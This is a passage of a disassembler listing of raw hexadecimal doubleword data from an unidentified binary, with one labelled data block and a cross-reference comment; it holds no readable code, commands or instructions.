		dd 1D869103h, 28814089h, 0DDE7FEF2h, 1389BEDDh,	0F8E07D18h
		dd 12548076h, 680A4E2Fh, 95025EE8h, 10376406h, 38A6B611h
		dd 0E2130858h, 9E0E37Ch, 608F0253h, 2431B990h, 84C09F75h
		dd 1DE3F1Ah, 7B8BBF91h,	0D4E8D038h, 240C058Ch, 88D9CBA5h
		dd 4900ADA4h, 0ECC49DF2h, 0B8EFC168h, 0DBAB2068h, 0CE65E811h
		dd 48C4DF00h, 0E25C1318h, 60BC5558h, 5B2A4CCEh,	78119DFFh
		dd 0CC942EBAh, 4BACE8F9h, 22119200h, 426239EEh,	0B4445051h
		dd 0ED05EF59h, 89B890h,	0FBB72127h, 3A016DE6h, 0C48CF525h
		dd 11F844A0h, 2D2FDF01h, 0B8DD02FAh, 0C823E189h, 0C311D4D1h
		dd 0CCB84A77h, 3A024884h, 7F2A4B4Eh, 138828CBh,	0A9F831BBh
		dd 89839FAh, 45C7EF24h,	0F29CC89Eh, 24C9D724h, 5EC85E52h
		dd 4B00C346h, 0D7BCB313h, 0D33039FEh, 0C88B1D0h, 437A004Ah
		dd 0C14F5D69h, 12030ACBh, 0C8A0C4A1h, 7FFC021h,	0C44497F3h
		dd 76A78612h, 0C4CA6005h, 0B281B0ECh, 24C159B8h, 4904ED68h
		dd 5F73ABB3h, 650080F9h, 5EDD2303h, 9A39D1A5h, 5DA69DA2h
		dd 4C541480h, 794618E8h, 0A285F793h, 1A79482Eh,	1BD76091h
		dd 0F77391CCh, 0ADD28C40h, 0CDC8A38h, 0B6173D4h, 0CC9FE44h
		dd 0D80EB0C3h, 0B4EE8293h, 4622042Ch, 34B8D241h, 9C505125h
		dd 0D9335F30h, 3C554890h, 0E1D9F3Ch, 0D067564Dh, 0C5EF9D24h
		dd 11BC5400h, 0A110ACD3h, 0A2DF009Bh, 9C96A620h, 7401024Bh
		dd 7BE8C90Bh, 2E3BD9B5h, 27323FCh, 5AFDF571h, 0FCFD1C43h
		dd 7D398410h, 0F6DC2300h, 6C172F4Ah, 6CA209A7h,	46277210h
		dd 2CE24AF4h, 8730D8F2h, 0AA8A00A6h, 0A5DCC755h, 69305A80h
		dd 7C8C8073h, 49493B9h,	0C4768A28h, 0E840AA98h,	80BA481Ch
		dd 49CB0BCCh, 88DB81DDh, 0B4DCD0h, 4E94AFB7h, 766EB275h
		dd 7247C988h, 0B0D6000Dh, 8E617340h, 17005A87h,	8C4D8D7h
		dd 4A8A520Ch, 0A2B0F37Dh, 65CB30D3h, 0AB582095h, 0E8E832FDh
		dd 46210B16h, 9420EB49h, 0AE86BCE6h, 4027F12Dh,	0BA770150h
		dd 0CCD12730h, 381A34A2h, 0F8C12E06h, 0A4711F02h, 4211305Dh
		dd 99017CD6h, 0F6CDDFC0h, 0B43C7881h, 28F95289h, 37188EF1h
		dd 12895F13h, 0DA0DF40Fh, 4AD10358h, 9D290BF4h,	0D479CE06h
		dd 0B041540Ch, 6C34445Dh, 792F4479h, 0A9600096h, 1C6B694h
		dd 3654100Bh, 28CEA68Fh, 8CD9EC28h, 43E9B300h, 7FB6CD0Ah
		dd 0D47004E6h, 0C3238A1Fh, 0EB87D58h, 6309FFDFh, 5182CC46h
		dd 182779FCh, 1F4D04E0h, 0C17813C8h, 701B8940h,	0C1004CDCh
		dd 6CE5DF1Eh, 612F0AEh,	0FFC81DD1h, 8104417Ch, 389E995Ah
		dd 8E0C35BEh, 0C18E888Ch, 0E406A131h, 716FE65h,	0CCA0A5B6h
		dd 4D538861h, 0E4B60A7Eh, 9B362385h, 0A06B90C2h, 8DA69FCCh
		dd 5739CCC6h, 2F14DE91h, 0CAF094A2h, 0F32590B8h, 0AA177874h
		dd 9C39B60Ch, 2FCCF8A2h, 48E5709h, 0BEC57F44h, 0DA23EC3Bh
		dd 0B89B1C00h, 1324BE0Fh, 8CD8EAF8h, 12E99F34h,	0AF5854B8h
		dd 0F4A18C0Dh, 9A209802h, 0A45020D3h, 834ADAB0h, 20AF3CD2h
		dd 383E5946h, 19DB4B4h,	935EE148h, 3C640422h, 0B7FA026Ah
		dd 0E51B07DEh, 52AC425Bh, 4480D357h, 303E22DDh,	10AF491Eh
		dd 0BB18F180h, 2D547AECh, 200E9B0Ah, 5FE5A161h,	0BC302C86h
		dd 781C8CD5h, 0A70BB743h, 0C507081h, 2E9E42C6h,	49D85C9h
		dd 508C22ECh, 0D59C400Dh, 0C0887B5Bh, 4E430009h, 9794BB2Ah
		dd 750093BAh, 0F3E7F8Fh, 4B1601B3h, 18F0906Eh, 320028ADh
		dd 0FE53CEC6h, 0BD487335h, 2088ACC0h, 440D6C12h, 38D3F805h
		dd 0E824F8F8h, 0D2465E00h, 4E161701h, 32A5DBFAh, 8094E9Ch
		dd 7C18D4F5h, 7ED846h, 0D125D51h, 0D31E4AF8h, 0CB21C960h
		dd 834447h, 96F0DBAAh, 15D656B2h, 2402E45Fh, 0FC324AA6h
		dd 0BB540414h, 26148202h, 0DD51B920h, 0C4C9D7Ch, 7DB7FD09h
		dd 0C1C427AEh, 2A4D0528h, 6BCE807h, 8F4681B9h, 0FEC82638h
		dd 49B34128h, 0D8002A25h, 8FB94798h, 0EF2A164Ch, 89D8FCABh
		dd 828413ECh, 0C2462504h, 0B60230A8h, 37C060F1h, 0DFAE0035h
		dd 0FE4E9E28h, 200BACEh, 7E1BB3A9h, 4A2DFA74h, 7490F318h
		dd 2042DF3Fh, 31DE0F29h, 0F037E31Ch, 8B14ED24h,	0C23CF3C7h
		dd 0E58F9A51h, 0B54909E4h, 9EC99C03h, 5A391002h, 0C2189C03h
		dd 43005C14h, 0BEB017B9h, 9B24BD70h, 0AA00AC09h, 3857E0F8h
		dd 0A85198B3h, 1DCF6160h, 652D51BAh, 0A799068h,	8CCD5286h
		dd 58DFFE11h, 3B35C0D8h, 430448h, 2B293853h, 118BC834h
		dd 151605FAh, 0FCA25ED7h, 8FF90177h, 0D0B29E6Eh, 25B873C4h
		dd 0C44065F3h, 1AB067EFh, 6951C4AAh, 3880D111h,	675D806Ch
		dd 0D6823512h, 59F210C2h, 18FA7104h, 4E267079h,	8884B26Ah
		dd 0F9467EF2h, 0DD45781Fh, 4C508032h, 7F3D31C5h, 0C647C283h
		dd 20979D48h, 0E281D491h, 7CE634A3h, 5845C0CCh,	1DEB2D77h
		dd 1965C5B4h, 0C1C71860h, 0F261807Dh, 74504624h, 6C0309CCh
		dd 0C741207h, 4674342Ch, 0F14102D7h, 0C25B1FFFh, 8CA55D0Ch
		dd 492C426Bh, 54796C99h, 465E202Eh, 0D24C00DBh,	91C4E3F5h
		dd 0B60100CBh, 72EF1D1Eh, 7C2805F3h, 7F2E28FEh,	2F3B448Ah
		dd 11289F6Bh, 0B70780BEh, 3B2547A2h, 7601B3EAh,	8334CC04h
		dd 5C298EC6h, 0D49565E8h, 0E1100CA9h, 10A2D38Eh, 0AE302CB2h
		dd 0C8811399h, 336C20E7h, 0FBFD32h, 12942FDFh, 0AC65530Dh
		dd 0D112CB80h, 0ECED07D4h, 0D2E1A0B1h, 130562E9h, 1FF9C6E4h
		dd 0F8F8C494h, 921A2780h, 40B024DDh, 9FA90CA3h,	0E0D02EBBh
		dd 4BCAF38h, 6754DC4Eh,	788CC7F2h, 88AC3C12h, 0A864C80h
		dd 63002AA0h, 451CDB46h, 2946DA1h, 0DA30C704h, 30560318h
		dd 81C60C4Fh, 8CD00096h, 6C530916h, 0F5013918h,	43DDD35h
		dd 2E2B57CFh, 232354h, 0E2725D67h, 0C898D7D1h, 222AFA27h
		dd 0CCD294h, 4101ED39h,	8CF30C5Eh, 23BC805Ch, 0F7823E8Ch
		dd 0F119A681h, 2B7C6E1Eh, 0C5506097h, 4D3D4Ch, 3372EEE9h
		dd 2754DB8Eh, 0E5EA4F00h, 0C634E674h, 0C8E0BDC4h, 4182D277h
		dd 842E7EDCh, 8314F8ECh, 0A8A05D9Dh, 1012C06h, 93C90A24h
		dd 2F09D0AEh, 11414822h, 2C7B21FDh, 52C6045Ch, 0CCAC27BAh
		dd 28B276C8h, 66604809h, 9C4B213h, 0DE5FF1ADh, 0BC4498CAh
		dd 10A0355Ch, 182DD1C9h, 0A4023898h, 0A0B7982Ch, 7C936D12h
		dd 0B84FE8C2h, 2CA1FA1h, 0F70445B1h, 1E508086h,	5E0E450Dh
		dd 80372425h, 0EC95C818h, 0E7DECB30h, 20636886h, 14D0409Fh
		dd 0A12A1852h, 49AF9812h, 1E92C20h, 80612B1Dh, 0F474A019h
		dd 7A0036C0h, 0C9D20E44h
		dd 16E7FD1Ch, 0C8D055FFh, 4910B950h, 0DC1267C5h, 13C4A23Dh
		dd 280E85C8h, 984BB055h, 9B54EE0h, 86D8721Ch, 3AD2341Ch
		dd 6568B430h, 4CC64E12h, 0DE9FCCE8h, 2C9867F2h,	6E2D494Ah
		dd 72CCC117h, 3B361084h, 64B656C8h, 54AC470Bh, 812C8866h
		dd 98A22C3Eh, 0EA4AC404h, 34FBC87Bh, 7030FA8Ch,	8062EA31h
		dd 0C1C07B2Eh, 5FC5CAC0h, 8220A582h, 7FF5AA17h,	9AF65901h
		dd 0FA0FE207h, 0B00FB858h, 4B362185h, 287C664Bh, 2FC0C7F3h
		dd 1030C931h, 12856259h, 0F2B4F2C1h, 71B730D9h,	0B025BC00h
		dd 0AFFDEEC6h, 72B1C4B9h, 2330A523h, 97D6005Ch,	0D550C743h
		dd 2E2F006Ch, 9F5CCDF8h, 260FA36Ah, 8060390Ch, 0B202F3E9h
		dd 736F8B8h, 5414EFB4h,	60F0FCEAh, 3B3F8038h, 19FF03E6h
		dd 86916Eh, 97AC6821h, 0E6EF496Fh, 0EAED83Eh, 820EF457h
		dd 0F237F121h, 68730620h, 0FC079FCDh, 6F0FFE0Fh, 780F93E9h
		dd 26D4603Ch, 0E8549647h, 381800E4h, 0C9C17ACEh, 0E897D366h
		dd 741B4E0h, 76B1AF34h,	0C97E61AAh, 0E8982CD2h,	42048CD7h
		dd 244F8533h, 7720D080h, 165EF048h, 0B8CBDC67h,	1584AE18h
		dd 9E34812Ch, 0DF08895Bh, 3D4883DBh, 0A610112Fh, 8C931DDh
		dd 0C3FA1D0h, 3E08BD4Ch, 2618B162h, 0DACF0369h,	2D611018h
		dd 0C64E3040h, 2072A008h, 20CA2920h, 343156C3h,	0C69510ABh
		dd 0BFF6088Ch, 31C6C328h, 0FC088CCFh, 0E320C6B2h, 0C832382Eh
		dd 37D8986h, 18102AE7h,	65109471h, 0C8BF1884h, 0CC04BE38h
		dd 2659EE08h, 831739C6h, 0D84C3108h, 885D8B20h,	88AF248h
		dd 5E0CC00Ch, 0F7350881h, 31B428A4h, 0E2DC0828h, 2008E206h
		dd 2820BAB5h, 0C4539801h, 6AE8F28h, 20102BC9h, 6531D6BDh
		dd 0AD7708A9h, 8CA47A01h, 875FC68h, 18E06541h, 658C46BBh
		dd 1E2010D2h, 0E1BD2087h, 309DAD20h, 6D087683h,	5DF8D0FEh
		dd 0DE705463h, 0B40810FBh, 80FA2A3Ah, 1036F631h, 7C016C48h
		dd 0B59453D9h, 0F00B082Ah, 28658F31h, 0F001A174h, 0E2088CC1h
		dd 405D20CDh, 7F40C447h, 0E7C8A876h, 24DA81A2h,	38620428h
		dd 245EC08h, 0E1035F47h, 624818E4h, 8EA23088h, 88C808CAh
		dd 4C4AC092h, 238ABCA6h, 3D98F846h, 80290508h, 28C6A79Bh
		dd 313892B3h, 0F4087E5Bh, 0A208C3Ch, 0CE53107Ah, 18B9A3C9h
		dd 0BFF98873h, 60F30CA5h, 0BE635918h, 10AFD228h, 10626B18h
		dd 37108419h, 511B3203h, 9AF0A721h, 0A1FF29ECh,	0B18CE5C4h
		dd 3F30BCF8h, 0ABB58040h, 9C91FCD4h, 99014A78h,	0F8208C6Dh
		dd 0A803104Bh, 0CCCB1E8Ch, 1A19628h, 0B5085164h, 0D7590091h
		dd 0CC7F208Ch, 0F0A81208h, 8CC4CDAh, 5455C90Eh,	817CB0A0h
		dd 96AC24FDh, 0C42B6E40h, 1C4E9939h, 0BC4C61D2h, 0C9C740C5h
		dd 502295C1h, 0B4026FC2h, 633A03C9h, 0BC44302Ah, 18001949h
		dd 4F20A62Ch, 3F30C473h, 0F8340ADEh, 0BE99498h,	784780E5h
		dd 32AB10C6h, 3CA24940h, 866EA18h, 18C4486Bh, 510A7F8Ah
		dd 8F638DE4h, 8910F310h, 0E1856A1h, 310F1879h, 802AA880h
		dd 788086CBh, 30A08037h, 0C4FC0580h, 9551408h, 22DC23AAh
		dd 645FFA5Bh, 7DE52CA4h, 4F441659h, 8003BDECh, 100045B4h
		dd 1AAB3CAFh, 5CFD961h,	3695A44Eh, 73AC901Fh, 43007B62h
		dd 0C7FAA748h, 0FCCD28Eh, 5E831C47h, 94688267h,	1E6CF935h
		dd 0CB0026DBh, 0F291BC56h, 0D31B0C8Fh, 7E504AC2h, 5D99F4D8h
		dd 0A0FB6004h, 0E7A9CAB9h, 9002BE03h, 0C038F036h, 5B7AE64h
		dd 88DAA10Bh, 58D4A9ABh, 4C0E1284h, 91819F1Eh, 53FF81DBh
		dd 181990BCh, 0DC0510D7h, 0F4B848BEh, 71800F00h, 0A9AAB363h
		dd 0B4400029h, 0C202AB0Dh, 902A0A3h, 0B95EAEBBh, 0B24480AAh
		dd 0E54AABh, 3FAF99FBh,	977B89E8h, 41F8CA00h, 0ED5DC1ECh
		dd 0FF8DF1Ch, 3806FE87h, 0FB2510BAh, 0F050FAC2h, 0BB97C6Ch
		dd 0EADAB6A9h, 4C3F9850h, 0E27CFCCCh, 0C15DE18h, 60FDD338h
		dd 98252004h, 5B135E7Bh, 0CCB1CB6Dh, 0AECC43Fh,	3C84472Ch
		dd 433BEFF8h, 4C52D318h, 0F4544120h, 210BC5Bh, 31D5DFCh
		dd 0CDA0BB00h, 3CC000E5h, 7E858CDDh, 9D007A73h,	7165EB33h
		dd 0A482FC48h, 966D0064h, 0E5C4FEEDh, 2053A9Dh,	717E947Ah
		dd 8EFDE820h, 4F6E18E3h, 59B328A7h, 1EEB2307h, 15C31C97h
		dd 0D74102F4h, 59DEC3ABh, 973E0840h, 3E6CB3Eh, 8EF19DCFh
		dd 1A6AE151h, 3CB1EEF4h, 721E6753h, 743C09Bh, 23E3CFE6h
		dd 85FDB938h, 0C502CA66h, 92DB5400h, 0EED9AE5Dh, 0A9B33D91h
		dd 0CEE35E09h, 930A607Eh, 970088C6h, 52E725D4h,	3CE1C478h
		dd 0AB500ADh, 1BCE5DBh,	0CE87FDFAh, 415AA0DAh, 0FB6E12ACh
		dd 9500F0D6h, 0CDBA73D3h, 21CEEh, 7F806454h, 0EBA4FB6Ch
		dd 0E3C48400h, 0D51E6D46h, 829D0063h, 5D935470h, 0E984E10h
		dd 0B8FE4D37h, 1FBB467h, 0BCE66A3Ch, 497EE439h,	0DE3968FDh
		dd 35000048h, 2310A2FEh, 62003FF5h, 0F4C0E638h,	0FC14C94Ah
		dd 725E12B4h, 1C7C015Bh, 0D082D446h, 3F1C4FCCh,	0C8F0DCD3h
		dd 1E8B107Ch, 80FD249Fh, 0AA90332h, 949EAAD3h, 5E352A07h
		dd 705ED24Fh, 0BBE5FDC7h, 0B0D0A30Bh, 0CB8BF8D1h, 359728A9h
		dd 80882FFCh, 0D9D804C0h, 0E0504AF0h, 148D0A8h,	0B9B800B4h
		dd 0E8374D68h, 30D44947h, 0B92700DEh, 0BEE5A902h, 30780A4h
		dd 0AB6A6717h, 0D2DAD040h, 42249A55h, 19B73E7Fh, 3630F5B8h
		dd 0C5020469h, 0D983E33Ch, 953CB444h, 5E41807Dh, 6C987A11h
		dd 240F1FF0h, 1A8E0009h, 0C9E2E596h, 85795D12h,	5B71E445h
		dd 0AE3ECFC1h, 47DDFF0h, 0FD0BFF86h, 1B1180CAh,	811DEAA2h
		dd 2381677Eh, 74660641h, 0C0FCCEC8h, 5D9B4D88h,	0B7006946h
		dd 1D9E8F09h, 65BE3Ah, 37DA9768h, 0C9023990h, 7CCC1802h
		dd 0A0E6E26Eh, 0A91C9A9Ch, 6BDA18CFh, 0D82BD8A2h, 0B357AB0h
		dd 0C06110DCh, 0A043B4B2h, 4062825Dh, 707A9300h, 2025636Eh
		dd 6CA0149Ah, 48501563h, 0C30B01C0h, 83C1E6C9h,	9A31DCAh
		dd 0E386FD78h, 3CE7B0A1h, 0B0C9A488h, 38528013h, 70FB604Dh
		dd 6B26347Dh, 86482800h, 807E28E0h, 3B42550h, 90A688C8h
		dd 40BBC9EBh, 0DCE385CCh, 485DAA09h, 505809ACh,	9CD3005Ch
		dd 0EC56C61h, 5D03E31Dh, 0BCFDD5EAh, 0F0200147h, 3C5E6645h
		dd 5A58843Fh, 1085369Bh, 40AD7C5Eh, 2C65E318h, 991493CDh
		dd 6089C873h, 4E6A59BEh, 0FB89C830h, 117898BFh,	0D32780B7h
		dd 88645831h, 0BC314017h, 0C3A0F030h, 7D428550h, 89E78CC1h
		dd 0AF8B8E38h, 0CC608DCh, 8AE02596h, 30F11BF8h,	6B306600h
		dd 431D40EBh, 0E13B2672h, 4870080h, 91FE4286h, 8877E618h
		dd 484E1611h, 6804405Ch, 818FF0D5h, 8282E048h, 4E9FEBF9h
		dd 80DC6597h, 90CD318Fh, 0AA032146h, 0B350A096h, 19893E8Eh
		dd 4A20232Ch, 876E06F4h, 6100100Eh, 8DB8D6B0h, 98EE7D8Fh
		dd 6E1A3F3Eh, 0B8CFB28h, 2A3BDAB1h, 569AEC10h, 0D898CA71h
		dd 5AF6619h, 0B8403E80h, 0CDD3B25h, 873065F0h, 0E498FD18h
		dd 0B56ECE0Dh, 0D1F97044h, 58890DC8h, 0C789E882h, 0E0A63807h
		dd 7BC5707Eh, 71541402h, 4880DA66h, 3AE3394Ch, 36B36E11h
		dd 0C0F2CD48h, 0A1AFD8A2h, 5BB5461h, 0DC013409h, 0A4480274h
		dd 10617C41h, 0DC0021EAh, 1249DE5Ah, 2DC43E20h,	0B2B05A09h
		dd 2CD31620h, 0FEB0414Fh, 80AD5FDEh, 0A9DAB320h, 17EEF17h
		dd 999A018Bh, 2384076Eh, 17B8448Ch, 54D3708Ch, 9189A07Ah
		dd 0A0FB1994h, 0DE804254h
		dd 806FFE10h, 13092D3Bh, 1645FBFh, 0D4E70DB3h, 6E146EF0h
		dd 2649405Dh, 3EBFC882h, 847D9702h, 10804628h, 0F86D5AF2h
		dd 0D5090C8h, 0BC745FE4h, 71B43008h, 0B5137914h, 0ED1909B2h
		dd 0FD48A6A2h, 58009D98h, 4DF70F99h, 0C06E1D0Ch, 0E56815h
		dd 0D61747C1h, 0E69BFE59h, 1C0432EBh, 4D6DC46h,	7E1F0907h
		dd 7CA08717h, 30E5C278h, 7E216D4h, 0C5169CA6h, 477B2B8h
		dd 4A2F0E22h, 37B09168h, 0A862C194h, 14D8699Eh,	8B2C9CB0h
		dd 80236Ch, 80C31E0Eh, 0BD00FE4Fh, 8E286602h, 0FF86B1DDh
		dd 3F353EF0h, 0A1806D2Fh, 0CA396DCh, 2009A17h, 9DE00A51h
		dd 0A0A9766Eh, 0FD2B88h, 7B71E744h, 0D5E6049Ch,	251C0E74h
		dd 0BEC0AA46h, 6EC623E9h, 0D5F0E37h, 0D73D1CCFh, 9D844031h
		dd 5B461869h, 24A560A2h, 4E9C09E7h, 9CC09C0Eh, 3CE6DDBh
		dd 1D82600h, 2AD34990h,	121C904Bh, 2691266h, 5AC1ED0Ch
		dd 0E32EC4E8h, 0F12C6890h, 6D418837h, 0B4242D57h, 6E163ABCh
		dd 0E501F4C9h, 34FB8077h, 1474F8EDh, 594530C0h,	0BE2BCF1h
		dd 0EBA5DAB8h, 88CC54A5h, 6438951Ch, 0D5E50018h, 0E49AA3B9h
		dd 43D3165h, 0EF4DA540h, 2E4D141h, 3CE87DB0h, 0D4AB1CD3h
		dd 35DDDEE0h, 293B1600h, 0D7DB253Ah, 4CE5717Eh,	5218943Ch
		dd 0F4EC50E6h, 98703554h, 1CD00995h, 2B52E64h, 62AD42FCh
		dd 24A21849h, 7E00CB88h, 3B7F49AAh, 906C8B46h, 0B6FD00D0h
		dd 5E3616EDh, 0A0B0319Eh, 0F0DDE53Bh, 60C188B2h, 0DEC6E14h
		dd 0E2E3B425h, 0C2764236h, 0B6E0900Ch, 0FB512ADAh, 0C8A44D98h
		dd 70C536C7h, 59B8CC6Bh, 3BB1FC0Ch, 139C02Ch, 0C3E513DFh
		dd 92B0EBDAh, 48121730h, 6E31D037h, 400584FBh, 0ED474EC8h
		dd 96019EE6h, 5E382515h, 707078A9h, 49503B3h, 0CDE2F666h
		dd 600B9A89h, 3500EBD8h, 11AAD95Ah, 0C5DBAAEh, 7F26EC7h
		dd 25006A69h, 3146304h,	0D99F92h, 0CBA8500Fh, 3A5C8593h
		dd 6468BF00h, 456EC3C4h, 1EC94F9h, 12A713D3h, 0E67DE062h
		dd 1808BB50h, 0CB0F0E78h, 0C284C289h, 40A67E74h, 0E039DEC0h
		dd 354E0290h, 673426D3h, 1031864h, 0DBDEC96Bh, 0EE980EF2h
		dd 0A4D4BF65h, 6DC08855h, 40885DA7h, 0D604E888h, 24C6C55Eh
		dd 0C4545C19h, 0C846FC4Dh, 611C4524h, 36C6965Ah, 1DA40158h
		dd 95AE37E4h, 80484CC3h, 994AEE20h, 0E8FDBCD2h,	802CC7BCh
		dd 78D7BAB3h, 86F04CE1h, 9A28C7FAh, 0D30B838Fh,	6802D7C3h
		dd 0E950C61Ch, 46804214h, 54942E04h, 68FB6154h,	0A8AB60D7h
		dd 2858C63Ch, 542808C0h, 0FD016C93h, 0F1CAA9D2h, 5074DF65h
		dd 36BD0057h, 0C9FE15ADh, 2A003A1Bh, 0A1B8DDF9h, 590C202h
		dd 0C6B239BAh, 6C30C05Fh, 6A07ED3Bh, 84D9E63Ah,	48C363E5h
		dd 44268281h, 8A661884h, 0C75660BDh, 9E005E73h,	0DC38CCE5h
		dd 57E26E4h, 0F150258Fh, 1CBEC0F7h, 68A18B54h, 5DC86091h
		dd 5402404Ah, 0C09068D3h, 0C8677FD8h, 0DA04B2C8h, 88524F7h
		dd 66BB98C0h, 1D5D13CBh, 0F200083h, 0CDDF7DAEh,	4DC4CE59h
		dd 973C4D1Ch, 42B82404h, 1C20ACE5h, 0FFDF1901h,	0F180D196h
		dd 48042A48h, 3C863290h, 52FD4B68h, 0F07C40A4h,	45E0312h
		dd 24D4F351h, 5433DE84h, 1ACA811Ah, 10B7FBD8h, 0D8EBC402h
		dd 536F1C00h, 99D03ECFh, 3A15B201h, 8A2BCCD3h, 0E4401A98h
		dd 0C0081B17h, 9DE0683h, 0D2405944h, 90656F14h,	0F0C0F347h
		dd 8DDF171Ch, 6C047E4Bh, 191F743Dh, 1585100Eh, 18A31800h
		dd 146C62Dh, 6F1AFD3Dh,	0E19582CEh, 0E7084055h,	0D9609E65h
		dd 845E01B0h, 0A480D523h, 0BCF35D0Ch, 94019310h, 0D8C1E603h
		dd 0F242C6ABh, 59B050DCh, 0D2896845h, 0DAD08418h, 7DF450FBh
		dd 8500AE68h, 3B4BD8Bh,	77A30A3h, 231D0F62h, 95F31029h
		dd 6A2565BBh, 20080A12h, 85C9942Ch, 9041010Fh, 7965FDBDh
		dd 0B1C16C2Ch, 400D7DDAh, 0CE8CFEB0h, 0E5515912h, 0CC070C52h
		dd 0BFC29A05h, 28647B2Ch, 1D22060Ch, 76066981h,	29C099Dh
		dd 11B3040h, 0E0C79E36h, 0F9D499B3h, 0CA320120h, 46167BA0h
		dd 60507DCh, 0CFD364B3h, 10168844h, 16099124h, 66B00113h
		dd 0C36AF688h, 6010D0D2h, 972406F3h, 98502E08h,	12F2F87Fh
		dd 6B1FD08h, 6CD83203h,	16259440h, 90B44680h, 51EC2078h
		dd 21040979h, 86BFF362h, 3D0FCF4h, 0E084F520h, 8185AFA5h
		dd 284E6EA8h, 0FE3AB058h, 147F5AD7h, 2C2904A0h,	72426F0h
		dd 504073CBh, 0A3D339C5h, 0A6988FF1h, 6902209Bh, 0F73BB6B5h
		dd 389F182Ah, 6673C2CDh, 0F799516h, 0DC376016h,	81D4E3C1h
		dd 0D903102Ch, 0A66045DDh, 70E7BC89h, 120F3571h, 8274ABh
		dd 3A96EA77h, 236A0202h, 0C51FB65Eh, 5D10CC44h,	20044B2h
		dd 0D9E772C0h, 2701AD85h, 5E9B34F0h, 0A8202824h, 6E680C33h
		dd 2DA03BCDh, 0F370AB01h, 0FE887B5Ah, 2DEDD474h, 741095DEh
		dd 80E09C57h, 4B3F91Ch,	290EC981h, 19705DA6h, 0FB78C024h
		dd 0D5A31C67h, 0F4AED026h, 6473BD07h, 0EE470C0h, 45FE00ACh
		dd 9FF5D3Dh, 0C8927B8Fh, 65E80880h, 70A0C94Ah, 15E273Bh
		dd 6E7B9C40h, 0BB1D377Fh, 0CCFE4002h, 0D9BE3F1Ch, 0DACC00C4h
		dd 45A1B6B0h, 5BC57799h, 13E80482h, 88DC8404h, 8C068090h
		dd 0F38DD363h, 0BA740210h, 0F0EC07B1h, 4641FB81h, 0A4E9F051h
		dd 89029800h, 0B7D5A2DCh, 1680FC86h, 451F6066h,	0C0D840A4h
		dd 9FFB852Fh, 13EF2A0Ah, 1D00E0FDh, 0FCC6DE70h,	0F56E278Fh
		dd 82CFAC00h, 0B80C0267h, 0A02CB5DAh, 9C96173Ch, 0C8B40BD0h
		dd 42D41869h, 88408458h, 0E92D65E6h
dword_4E414C	dd 0B0FC9290h, 2A315DE0h, 1DC0C864h, 0CF6C914Ah, 6A0927AEh
					; DATA XREF: ___:off_43A190o
		dd 5C31F0C4h, 73193196h, 0ED9430h, 0C7BE413Bh, 0B35446B2h
		dd 84BA0C00h, 9833C3FBh, 4D6EEC8h, 6E65E56Dh, 19D48CF7h
		dd 4E811094h, 0FB65EB44h, 0EC305038h, 859DC471h, 0B80350B8h
		dd 86F11408h, 6820F293h, 305E2F9Ch, 0E5E8A773h,	0DF726D8Dh
		dd 28B9CA78h, 0B1502B03h, 7792D036h, 24A0E638h,	3B656h
		dd 0D47507C2h, 2114C6A7h, 130869FBh, 0BCC8CCFDh, 200892FEh
		dd 989346F9h, 663C9825h, 0C55206A6h, 108B4E7Bh,	6CB8F155h
		dd 0CEE0783Ch, 4DD510C0h, 0E8D6888Bh, 408F06FDh, 891CD59h
		dd 6E10F105h, 0E41EA80Ah, 4E5A22CCh, 0B86F51D1h, 4E31D473h
		dd 81586A59h, 0E570AE78h, 3CFD8AFDh, 8B40093Fh,	0C840BF0Fh
		dd 0D334C61Bh, 0D8D4C932h, 81DC763Ah, 83DF5DC5h, 241420D1h
		dd 5BD0BC61h, 0F0EA2F6Dh, 0A5CF03A4h, 668176F1h, 3826179Bh
		dd 0A927EADEh, 0D394607Ch, 58A06406h, 2ED4B60Eh, 982D34E2h
		dd 245DFDC8h, 0A43C5CE6h, 238C0094h, 2CDF137h, 8D0B1790h
		dd 4053EA0Ah, 0CEE25400h, 6AA00C38h, 45741802h,	67DA4100h
		dd 5E9763D9h, 0F9BC63CDh, 6FC13878h, 1C1089BDh,	0C00CE9A6h
		dd 4D4CC12Eh, 4CF46141h, 3D40F070h, 34016BD0h, 867FAD00h
		dd 18481BD8h, 0FF2309CCh, 0D5AC8193h, 0B0627B54h, 0A4207D89h
		dd 0AB1865E3h, 74B68C9h, 0A9F6E774h, 3CD8F979h,	3EF00290h
		dd 95C8EDACh, 6E24400Bh, 0E848FBh, 1D8E4F76h, 0E09125C0h
		dd 80E20454h, 0D0476E82h, 0B22ED884h, 0FE8D0E80h, 0EC82D6CCh
		dd 0B1B480B9h, 316EA1BAh, 6568A62Ch, 1948C8BCh,	368F50C0h
		dd 28385FBh, 0EDC81297h, 50A02F96h, 0AC812958h,	9D25F41Ch
		dd 0AE54450Eh, 9AB300B1h, 1E63876h, 5C0CE1BCh, 0E186FE21h
		dd 160840D4h, 7E263D4Ch, 8B014CB0h, 8D97A9B3h, 0FFC8C085h
		dd 703450FEh, 1B06653Dh, 0D97FDF30h, 0CB1CB0B2h, 906E9BDAh
		dd 41E26B80h, 98B5ABDCh, 0F44A8E0h, 39EA206Eh, 0E66B909Ch
		dd 0B8B22570h, 20966444h, 0DBC1FB60h, 0B38D2688h, 16084814h
		dd 3A801FDh, 34BA446Eh,	0E975D9BCh, 120737EEh, 0F854DF3Bh
		dd 40E7B2E0h, 7D04306Eh, 0FE2DBC89h, 193DDC00h,	0ABBE5D46h
		dd 0FB750336h, 1FD54A74h, 0E456C688h, 63DAA900h, 4EAE158Fh
		dd 0C0B20F37h, 0CA87EB99h, 0ED25C0A3h, 0D0AA1C1Ah, 2E1EC880h
		dd 0AC2E8C50h, 0F240F095h, 26DF6845h, 0B190181Ch, 0FC4729F0h
		dd 7200941Ah, 8822466Ah, 98D718EBh, 7EF50190h, 0DC6DF06Bh
		dd 0A560B88Ah, 0F9DC83B8h, 0E6481742h, 90A04B45h, 604284E2h
		dd 30015DC3h, 0AE1207B8h, 1C30495Bh, 0AC8891D5h, 1748A4D4h
		dd 0ACC4491Bh, 8403AC85h, 28F03189h, 25208477h,	0DCA42FC8h
		dd 786E4159h, 1BC20054h, 0E55DC646h, 73FB806Dh,	0E9D5081Ch
		dd 0F95C9CBEh, 7B699380h, 9A296E7Ah, 0BACA00B0h, 8B7A9D2h
		dd 36050D1Eh, 0F2646644h, 4A48548Ch, 12348BA4h,	0BCD07F80h
		dd 902AB45Dh, 905A1BFCh, 3804D106h, 0DF35A3B3h,	0EAEA7CE4h
		dd 4D273868h, 0E1659E12h, 0E108042Ch, 86786990h, 3770C7C1h
		dd 7008ED14h, 7762CBC5h, 3E24544Ch, 21FE1215h, 0C030053h
